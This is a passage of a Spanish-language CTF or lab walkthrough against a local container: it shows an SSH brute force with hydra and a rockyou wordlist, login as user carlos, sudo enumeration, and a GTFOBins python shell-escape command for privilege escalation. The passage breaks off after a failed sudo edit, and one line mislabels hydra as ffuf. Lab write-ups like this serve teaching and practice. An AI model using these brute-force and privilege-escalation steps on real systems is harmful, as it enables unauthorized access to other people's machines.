Vamos a acceder a /index.php a ver que encontramos.
A priori nos encontramos con lo que podría ser una posible contraseña de algún usuario del sistema. En este punto ya que no tenemos más directorios accesibles, vamos a probar a hacer un bruteforce de SSH para intentar adivinar el usuario.
Bruteforce de SSH
En este momento puede parecer que no podemos hacer nada, pero vamos a usar ffuf para enumerar subdominios dentro de este host:
afsh4ck@kali$ hydra -L /usr/share/wordlists/rockyou.txt.gz -p JIFGHDS87GYDFIGD ssh://172.17.0.2
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-11 20:23:58
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:14344399/p:1), ~896525 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: carlos password: JIFGHDS87GYDFIGD
Bingo! Obtenemos el usuario de la máquina: Carlos
Acceso por SSH
afsh4ck@kali$ ssh carlos@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is SHA256:Hvih5sjfx4Qwfp0rb0aWHkFvIxZbFo+cyOaoqbCHXSI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
carlos@172.17.0.2's password:
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.11.2-amd64 x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
carlos@b2a9ee1cf61d:~$ id
uid=1001(carlos) gid=1001(carlos) groups=1001(carlos)
carlos@b2a9ee1cf61d:~$ whoami
carlos
Buum! Efectivamente nos conseguimos loguear en la máquina. Ya estamos dentro.
Escalada de privilegios
Lo primero que vamos a hacer para elevar nuestros privilegios es ver los permisos de ejecución que tenemos en la máquina. Este siempre debería ser el primer paso:
carlos@b2a9ee1cf61d:~$ sudo -l
Matching Defaults entries for carlos on b2a9ee1cf61d:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User carlos may run the following commands on b2a9ee1cf61d:
(ALL) NOPASSWD: /usr/bin/python3 /opt/script.py
Observamos que Carlos puede ejecutar el script /opt/script.py con privilegios de superusuario. Vamos a ver el contenido del script:
carlos@b2a9ee1cf61d:/home$ cat /opt/script.py
import shutil
def copiar_archivo(origen, destino):
shutil.copy(origen, destino)
print(f'Archivo copiado de {origen} a {destino}')
if __name__ == '__main__':
origen = '/opt/script.py'
destino = '/tmp/script_backup.py'
copiar_archivo(origen, destino)
SIempre que tenemos permisos de ejecución sobre algún archivo deberíamos consultar GTFOBins para encontrar una manera efectiva de elevar nuestros privilegios. Como el ejecutable es en python vamos a la sección Python.
Concretamente en la sección SUDO encontramos una forma para elevar nuestros privilegios:
SUDO
If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
sudopython-c'import os; os.system("/bin/sh")'
Con esta pista podemos modificar nuestro script en python. El usuario Carlos no puede ejecutar sudo en la máquina, por lo que vamos a dar permisos al ejecutable y ya lo podemos editar:
carlos@b2a9ee1cf61d:/home$ sudo nano /opt/script.py
[sudo] password for carlos:
Sorry, user carlos is not allowed to execute '/usr/bin/nano /opt/script.py' as root on b2a9ee1cf61d.